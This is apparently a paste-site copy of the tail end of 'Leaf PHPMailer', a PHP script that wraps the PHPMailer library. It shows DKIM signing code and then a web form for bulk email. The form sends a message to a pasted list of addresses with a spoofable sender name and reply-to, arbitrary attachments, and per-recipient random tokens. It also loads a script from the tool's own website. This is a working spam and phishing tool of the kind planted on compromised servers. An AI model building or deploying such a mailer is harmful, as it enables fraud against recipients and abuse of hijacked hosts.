  3779. public function DKIM_BodyC($body)
  3780. {
  3781. if ($body == '') {
  3782. return "\r\n";
  3783. }
  3784. // stabilize line endings
  3785. $body = str_replace("\r\n", "\n", $body);
  3786. $body = str_replace("\n", "\r\n", $body);
  3787. // END stabilize line endings
  3788. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  3789. $body = substr($body, 0, strlen($body) - 2);
  3790. }
  3791. return $body;
  3792. }
  3793.  
  3794. /**
  3795. * Create the DKIM header and body in a new message header.
  3796. * @access public
  3797. * @param string $headers_line Header lines
  3798. * @param string $subject Subject
  3799. * @param string $body Body
  3800. * @return string
  3801. */
  3802. public function DKIM_Add($headers_line, $subject, $body)
  3803. {
  3804. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3805. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3806. $DKIMquery = 'dns/txt'; // Query method
  3807. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3808. $subject_header = "Subject: $subject";
  3809. $headers = explode($this->LE, $headers_line);
  3810. $from_header = '';
  3811. $to_header = '';
  3812. $current = '';
  3813. foreach ($headers as $header) {
  3814. if (strpos($header, 'From:') === 0) {
  3815. $from_header = $header;
  3816. $current = 'from_header';
  3817. } elseif (strpos($header, 'To:') === 0) {
  3818. $to_header = $header;
  3819. $current = 'to_header';
  3820. } else {
  3821. if (!empty($$current) && strpos($header, ' =?') === 0) {
  3822. $$current .= $header;
  3823. } else {
  3824. $current = '';
  3825. }
  3826. }
  3827. }
  3828. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3829. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3830. $subject = str_replace(
  3831. '|',
  3832. '=7C',
  3833. $this->DKIM_QP($subject_header)
  3834. ); // Copied header fields (dkim-quoted-printable)
  3835. $body = $this->DKIM_BodyC($body);
  3836. $DKIMlen = strlen($body); // Length of body
  3837. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3838. if ('' == $this->DKIM_identity) {
  3839. $ident = '';
  3840. } else {
  3841. $ident = ' i=' . $this->DKIM_identity . ';';
  3842. }
  3843. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  3844. $DKIMsignatureType . '; q=' .
  3845. $DKIMquery . '; l=' .
  3846. $DKIMlen . '; s=' .
  3847. $this->DKIM_selector .
  3848. ";\r\n" .
  3849. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  3850. "\th=From:To:Subject;\r\n" .
  3851. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  3852. "\tz=$from\r\n" .
  3853. "\t|$to\r\n" .
  3854. "\t|$subject;\r\n" .
  3855. "\tbh=" . $DKIMb64 . ";\r\n" .
  3856. "\tb=";
  3857. $toSign = $this->DKIM_HeaderC(
  3858. $from_header . "\r\n" .
  3859. $to_header . "\r\n" .
  3860. $subject_header . "\r\n" .
  3861. $dkimhdrs
  3862. );
  3863. $signed = $this->DKIM_Sign($toSign);
  3864. return $dkimhdrs . $signed . "\r\n";
  3865. }
  3866.  
  3867. /**
  3868. * Detect if a string contains a line longer than the maximum line length allowed.
  3869. * @param string $str
  3870. * @return boolean
  3871. * @static
  3872. */
  3873. public static function hasLineLongerThanMax($str)
  3874. {
  3875. //+2 to include CRLF line break for a 1000 total
  3876. return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  3877. }
  3878.  
  3879. /**
  3880. * Allows for public read access to 'to' property.
  3881. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3882. * @access public
  3883. * @return array
  3884. */
  3885. public function getToAddresses()
  3886. {
  3887. return $this->to;
  3888. }
  3889.  
  3890. /**
  3891. * Allows for public read access to 'cc' property.
  3892. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3893. * @access public
  3894. * @return array
  3895. */
  3896. public function getCcAddresses()
  3897. {
  3898. return $this->cc;
  3899. }
  3900.  
  3901. /**
  3902. * Allows for public read access to 'bcc' property.
  3903. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3904. * @access public
  3905. * @return array
  3906. */
  3907. public function getBccAddresses()
  3908. {
  3909. return $this->bcc;
  3910. }
  3911.  
  3912. /**
  3913. * Allows for public read access to 'ReplyTo' property.
  3914. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3915. * @access public
  3916. * @return array
  3917. */
  3918. public function getReplyToAddresses()
  3919. {
  3920. return $this->ReplyTo;
  3921. }
  3922.  
  3923. /**
  3924. * Allows for public read access to 'all_recipients' property.
  3925. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3926. * @access public
  3927. * @return array
  3928. */
  3929. public function getAllRecipientAddresses()
  3930. {
  3931. return $this->all_recipients;
  3932. }
  3933.  
  3934. /**
  3935. * Perform a callback.
  3936. * @param boolean $isSent
  3937. * @param array $to
  3938. * @param array $cc
  3939. * @param array $bcc
  3940. * @param string $subject
  3941. * @param string $body
  3942. * @param string $from
  3943. */
  3944. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  3945. {
  3946. if (!empty($this->action_function) && is_callable($this->action_function)) {
  3947. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3948. call_user_func_array($this->action_function, $params);
  3949. }
  3950. }
  3951. }
  3952.  
  3953. /**
  3954. * PHPMailer exception handler
  3955. * @package PHPMailer
  3956. */
  3957. class phpmailerException extends Exception
  3958. {
  3959. /**
  3960. * Prettify error message output
  3961. * @return string
  3962. */
  3963. public function errorMessage()
  3964. {
  3965. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  3966. return $errorMsg;
  3967. }
  3968. }
  3969.  
  3970. print '
  3971. <head>
  3972. <title>Leaf PHPMailer</title>
  3973. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  3974. <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  3975. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  3976. <script src="https://leafmailer.pw/style.js"></script>
  3977.  
  3978. </head>';
  3979.  
  3980. print '<body>';
  3981. print '<div class="container col-lg-6">
  3982. <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
  3983. <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  3984. <div class="row">
  3985. <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
  3986. <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
  3987. </div>
  3988. <div class="row">
  3989. <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  3990.  
  3991. <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
  3992. </div>
  3993. <div class="row">
  3994. <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
  3995. </div>
  3996. <div class="row">
  3997. <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
  3998. <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
  3999. </div>
  4000. <div class="row">
  4001. <div class="form-group col-lg-6 ">
  4002. <label for="messageType">Message Type</label>
  4003. HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
  4004. Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
  4005. </div>
  4006. <div class="form-group col-lg-3 ">
  4007. <label for="encode">Encode Type</label>
  4008. <select class="form-control input-sm" id="encode" name="encode">
  4009. <option value="UTF-8" selected>UTF-8 Encode</option>
  4010. <option value="UTF-8">ISO Encode</option>
  4011. </select>
  4012. </div>
  4013. </div>
  4014. <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  4015.  
  4016. </form>
  4017. </div>
  4018. <div class="col-lg-6"><br>
  4019. <label for="well">Instruction</label>
  4020. <div id="well" class="well well">
  4021. <h4>Server Information</h4>
  4022. <ul>
  4023. <li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
  4024.  
  4025. </ul>
  4026. <h4>HELP</h4>
  4027. <ul>
  4028. <li>[-email-] : <b>Reciver Email</b></li>
  4029. <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
  4030. <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  4031. <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  4032. <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  4033. <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  4034. <li>[-randommd5-] : <b>Random MD5 </b></li>
  4035. </ul>
  4036. <h4>example</h4>
  4037. Reciver Email = <b>user@domain.com</b><br>
  4038. <ul>
  4039. <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  4040. <li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  4041. </ul>
  4042.  
  4043. <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
  4044. </div>
  4045. </div>';
  4046.  
  4047. if($_POST['action']=="send"){
  4048. print ' <div class="col-lg-12">';
  4049. $maillist=explode("\r\n", $emailList);
  4050. $n=count($maillist);
  4051. $x =1;
  4052. foreach ($maillist as $email ) {
  4053. print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
  4054. if(!leafMailCheck($email)) {
  4055. print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  4056. print "<br>\r\n";
  4057. }
  4058. else {
  4059. $mail = new PHPMailer;
  4060. $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  4061. $mail->addReplyTo(leafClear($replyTo,$email));
  4062. $mail->addAddress($email);
  4063. $mail->Subject = leafClear($subject,$email);
  4064. $mail->Body = leafClear($messageLetter,$email);
  4065. $mail->CharSet = $encode;
  4066. for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
  4067. if ($_FILES['attachment']['tmp_name'][$i] != ""){
  4068. $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
  4069. }
  4070.  
  4071. }
  4072. if($messageType==1){$mail->IsHTML(true);}
  4073. else {$mail->IsHTML(false);}
  4074. if (!$mail->send()) {
  4075. echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
  4076. }
  4077. else {
  4078. echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  4079. }
  4080. print "<br>\r\n";
  4081. }
  4082. $x++;
  4083. for($k = 0; $k < 40000; $k++) {echo ' ';}
  4084. }
  4085.  
  4086. }
  4087. print '</body>';
  4088. ?>
Add Comment
Please, Sign In to add comment